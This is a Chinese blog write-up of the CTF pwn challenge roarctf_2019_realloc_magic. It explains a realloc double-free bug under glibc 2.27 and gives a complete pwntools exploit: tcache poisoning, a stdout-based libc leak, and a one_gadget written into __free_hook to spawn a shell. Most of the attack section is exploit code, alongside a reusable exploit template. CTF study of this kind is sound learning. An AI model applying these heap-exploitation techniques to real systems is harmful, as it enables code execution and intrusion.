roarctf_2019_realloc_magic

时间:2021-02-17 14:29:58   收藏:0   阅读:0

roarctf_2019_realloc_magic

这题折腾了一天才做出来,特此记录,希望以后少踩坑。

题目分析

checksec

首先checksec一下,发现保护全开:

技术图片

函数分析

然后将题目拖进IDA分析,首先看main函数:
技术图片
可以看到,main函数并不复杂,一个菜单加上3个选项。

这里需要注意,分配内存函数使用的是realloc(void* ptr, size_t size),这个函数的功能很多,查看源码后发现其功能有:

可以看到,realloc函数功能很多,也很危险,使用不当的话会引来严重的安全问题。

ba函数可以将realloc_ptr置为空,但是只有一次使用机会,re函数会释放内存,但是没有置为空,存在double free的漏洞。

题目使用的是ubuntu 18的环境,对应的libc的版本为2.27,考虑使用tcache attack

解题思路

漏洞找到了,而一般的tcache attack也很简单,就是直接修改tcache bin chunknext指针,可以进行任意地址写。所以,初步的解题思路是:

初步解题思路

思路没啥问题,但是中间有几个关键的问题

存在的问题

  1. 分配函数是realloc,所以如果指针ptr不置为空,就无法达到malloc的效果,ptr所指向的chunk要么扩大,要么缩小,要么换一片内存段进行内存分配,没有办法从bins里面取出chunk
  2. 题目里似乎没有泄露地址的函数,要想往__free_hook写入one_gadget需要libc的基地址

问题解决方案

最终解决思路

由以上分析,可以总结出最终的解题思路为:

编写exp

根据最终的解题思路,编写exp并调试,过程记录如下:

定义好函数:

def re(size:int=0, content:bytes=b‘\x00‘):
    global io
    io.sendlineafter(">> ", ‘1‘)
    io.sendlineafter("Size?\n", str(size))
    io.recvuntil("Content?\n")
    if size > 0:
        io.send(content)
    return io.recvuntil("Done\n")

def fr():
    global io
    io.sendlineafter(">> ", ‘2‘)
    io.recvuntil("Done\n")

restraint = 1
def ba():
    global io, restraint
    if restraint == 0:
        return
    io.sendlineafter(">> ", ‘666‘)
    io.recvuntil("Done\n")
    restraint -= 1

执行思路的1-4步:

re(0x30)# 首先申请/释放 为后面覆盖写做准备 A
re(0) # 释放,并把指针置为空

re(0x80) # 申请 B
re(0) # 释放置空

re(0x40) # C
re(0) # 置0 隔开topchunk

re(0x80) # 申请回来 B

for x in range(7): # 释放7次
    fr()

re(0) # 得到unsorted bin 同时指针置空

看一下此时的bins

技术图片

技术图片

然后修改内存块B的sizenext指针,劫持到stdout,同时泄露出地址

re(0x30) # 取出来

# 修改两个字节 最低的一个字节是 0x60
des = int16(input(‘1 byes:‘))
des = (des << 8) + 0x60

re(0x50, p64(0) * 7 + p64(0x51) + p16(des)) # 踩低字节
re(0)

re(0x80)
re(0)

msg = re(0x80, p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58))
leak_addr = u64(msg[:8])

free_hook_addr = leak_addr + 0x5648

这里调试的时候可以发现,_IO_2_1_stdout_的低两个字节和main_arena + 96不同,理论上需要改这两个字节,实际上最后一个字节一直是0x60,所以只需要改一个字节就行了。此处为本地调试,可以手动查看要修改的内容,然后填上去。

技术图片

输入0xb7后,修改成功:

技术图片

然后分配到stdout结构体,修改flags等,泄露出地址:

技术图片

计算一下基地址,__free_hook的地址等:

技术图片

重复一下上面的过程,在_free_hook附近写上one_gadget即可:

gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = free_hook_addr - 0x3ed8e8 + gadget[1]
ba() # 指针置空

# 重复上面的操作,在free_hook上写one_gadget
re(0x10)
re(0)

re(0x90)
re(0)

re(0x20) # 隔开top chunk
re(0)

# 开始dump0x90
re(0x90)
for x in range(7):
    fr()

re(0)

re(0x10)
re(0x50, p64(0) * 3 + p64(0x51) + p64(free_hook_addr))
re(0)

re(0x90)
re(0)

re(0x90, p64(one_gadget))

# delete
io.sendlineafter(">> ", ‘2‘)
io.sendline(‘cat flag‘)
io.interactive()

之后就可以拿到shell:

技术图片

最后贴一下完整的exp

from pwn import *
from LibcSearcher import LibcSearcher
import click
import sys
import os
import time
import functools

FILENAME = ‘#‘ # 要执行的文件名
DEBUG = 1 # 是否为调试模式
TMUX = 0 # 是否开启TMUX
GDB_BREAKPOINT = None # 当tmux开启的时候,断点的设置
IP = None # 远程连接的IP
PORT = None # 远程连接的端口
LOCAL_LOG = 1 # 本地LOG是否开启
PWN_LOG_LEVEL = ‘debug‘ # pwntools的log级别设置
STOP_FUNCTION = 1 # STOP方法是否开启


CONTEXT_SETTINGS = dict(help_option_names=[‘-h‘, ‘--help‘])

@click.command(context_settings=CONTEXT_SETTINGS, short_help=‘Do pwn!‘)
@click.argument(‘filename‘, nargs=1, type=str, required=0, default=None)
@click.option(‘-d‘, ‘--debug‘, default=True, type=bool, nargs=1, help=‘Excute program at local env or remote env. Default value: True.‘)
@click.option(‘-t‘, ‘--tmux‘, default=False, type=bool, nargs=1, help=‘Excute program at tmux or not. Default value: False.‘)
@click.option(‘-gb‘, ‘--gdb-breakpoint‘, default=None, type=str, help=‘Set a gdb breakpoint while tmux is enabled, is a hex address or a function name. Default value:None‘)
@click.option(‘-i‘, ‘--ip‘, default=None, type=str, nargs=1, help=‘The remote ip addr. Default value: None.‘)
@click.option(‘-p‘, ‘--port‘, default=None, type=int, nargs=1, help=‘The remote port. Default value: None.‘)
@click.option(‘-ll‘, ‘--local-log‘, default=True, type=bool, nargs=1, help=‘Set local log enabled or not. Default value: True.‘)
@click.option(‘-pl‘, ‘--pwn-log‘, type=click.Choice([‘debug‘, ‘info‘, ‘warn‘, ‘error‘, ‘notset‘]), nargs=1, default=‘debug‘, help=‘Set pwntools log level. Default value: debug.‘)
@click.option(‘-sf‘, ‘--stop-function‘, default=True, type=bool, nargs=1, help=‘Set stop function enabled or not. Default value: True.‘)
def parse_command_args(filename, debug, tmux, gdb_breakpoint, ip, 
                       port, local_log, pwn_log, stop_function):
    ‘‘‘FILENAME: The filename of current directory to pwn‘‘‘
    global FILENAME, DEBUG, TMUX, GDB_BREAKPOINT, IP, PORT, LOCAL_LOG, PWN_LOG_LEVEL, STOP_FUNCTION
    # assign
    FILENAME = filename
    DEBUG = debug
    TMUX = tmux
    GDB_BREAKPOINT = gdb_breakpoint
    IP = ip
    PORT = port
    LOCAL_LOG = local_log
    PWN_LOG_LEVEL = pwn_log
    STOP_FUNCTION = stop_function
    # print(‘[&]‘, filename, debug, tmux, gdb_breakpoint, ip, port, local_log, pwn_log, stop_function)
    # change
    if PORT:
        DEBUG = 0
        TMUX = 0
        STOP_FUNCTION = 0
        GDB_BREAKPOINT = None
        if IP is None:
            IP = ‘node3.buuoj.cn‘
    
    if DEBUG:
        IP = None
        PORT = None
    
    # assert
    assert not (FILENAME is None and PORT is None), ‘para error‘
    assert not (FILENAME is None and DEBUG == 1), ‘para error‘
    assert not (PORT is not None and DEBUG == 1), ‘para error‘
    assert not (DEBUG == 0 and TMUX == 1), ‘para error‘
    
    # print
    click.echo(‘=‘ * 50)
    click.echo(‘ [+] Args info:\n‘)
    if FILENAME:
        click.echo(‘  filename: %s‘ % FILENAME)
    click.echo(‘  debug enabled: %d‘ % DEBUG)
    click.echo(‘  tmux enabled: %d‘ % TMUX)
    if GDB_BREAKPOINT:
        click.echo(‘  gdb breakpoint: %s‘ % GDB_BREAKPOINT)
    if IP:
        click.echo(‘  remote ip: %s‘ % IP)
    if PORT:
        click.echo(‘  remote port: %d‘ % PORT)
    click.echo(‘  local log enabled: %d‘ % LOCAL_LOG)
    click.echo(‘  pwn log_level: %s‘ % PWN_LOG_LEVEL)
    click.echo(‘  stop function enabled: %d‘ % STOP_FUNCTION)
    click.echo(‘=‘ * 50)
    

parse_command_args.main(standalone_mode=False)

if len(sys.argv) == 2 and sys.argv[1] == ‘--help‘:
    sys.exit(0)

if DEBUG:
    io = process(‘./{}‘.format(FILENAME))
else:
    io = remote(IP, PORT)

if TMUX:
    context.update(terminal=[‘tmux‘, ‘splitw‘, ‘-h‘])
    if GDB_BREAKPOINT is None:
        gdb.attach(io)
    elif ‘0x‘ in GDB_BREAKPOINT:
        gdb.attach(io, gdbscript=‘b *{}\nc\n‘.format(GDB_BREAKPOINT))
    else:
        gdb.attach(io, gdbscript=‘b {}\nc\n‘.format(GDB_BREAKPOINT))


if FILENAME:
    cur_elf = ELF(‘./{}‘.format(FILENAME))
    print(‘[+] libc used ===> {}‘.format(cur_elf.libc))

def LOG_ADDR(addr_name:str, addr:int):
    if LOCAL_LOG:
        log.success("{} ===> {}".format(addr_name, hex(addr)))
    else:
        pass

STOP_COUNT = 0
def STOP(idx:int=-1):
    if not STOP_FUNCTION:
        return
    if idx != -1:
        input("stop...{} {}".format(idx, proc.pidof(io)))
    else:
        global STOP_COUNT
        input("stop...{}  {}".format(STOP_COUNT, proc.pidof(io)))
        STOP_COUNT += 1

int16 = functools.partial(int, base=16)

context.update(os=‘linux‘, log_level=PWN_LOG_LEVEL, arch=‘amd64‘,endian=‘little‘)
##########################################
##############以下为攻击代码###############
##########################################

# realloc的特点
def re(size:int=0, content:bytes=b‘\x00‘):
    global io
    io.sendlineafter(">> ", ‘1‘)
    io.sendlineafter("Size?\n", str(size))
    io.recvuntil("Content?\n")
    if size > 0:
        io.send(content)
    return io.recvuntil("Done\n")

def fr():
    global io
    io.sendlineafter(">> ", ‘2‘)
    io.recvuntil("Done\n")

restraint = 1
def ba():
    global io, restraint
    if restraint == 0:
        return
    io.sendlineafter(">> ", ‘666‘)
    io.recvuntil("Done\n")
    restraint -= 1



re(0x30)# 首先申请/释放 为后面覆盖写做准备
re(0) # 释放,并把指针置为空

re(0x80) # 申请
re(0) # 释放置空

re(0x40)
re(0) # 置0 隔开topchunk

re(0x80) # 申请回来

for x in range(7): # 释放7次
    fr()

re(0) # 得到unsorted bin 同时指针置空
STOP()
re(0x30) # 取出来

# 修改两个字节 最低的一个字节是 0x60
des = int16(input(‘1 byes:‘)) # 实际打的时候,需要爆破
des = (des << 8) + 0x60

re(0x50, p64(0) * 7 + p64(0x51) + p16(des)) # 踩低字节
re(0)

re(0x80)
re(0)

msg = re(0x80, p64(0x0FBAD1887) + p64(0) * 3 + p8(0x58))
leak_addr = u64(msg[:8])


free_hook_addr = leak_addr + 0x5648
LOG_ADDR(‘free_hook_addr‘, free_hook_addr)

gadget = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = free_hook_addr - 0x3ed8e8 + gadget[1]
ba()
re(0x10)
re(0)

re(0x90)
re(0)

re(0x20)
re(0)

# 开始dump0x90
re(0x90)
for x in range(7):
    fr()

re(0)

re(0x10)
re(0x50, p64(0) * 3 + p64(0x51) + p64(free_hook_addr))
re(0)


re(0x90)
re(0)

re(0x90, p64(one_gadget))

# delete
io.sendlineafter(">> ", ‘2‘)
io.sendline(‘cat flag‘)
io.interactive()

注意:在实际打的时候,需要爆破一个字节。

总结

做完这道题后总结如下:

exp说明

这份exp是我专门用来刷BUUCTF上面的题目的,有需要的小伙伴可以拿去用。主要是利用click包装了一下命令行参数,方便本地调试和远程攻击。

技术图片

调试的时候,首先需要进入tmux,然后可以指定是否分屏调试,以及断点设置等。目前可支持设置函数地址断点和函数名断点。

技术图片

可以开始调试,并且断在puts函数处。

也可以自己定制命令,省去做题的时候输入命令,改脚本的时间。

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!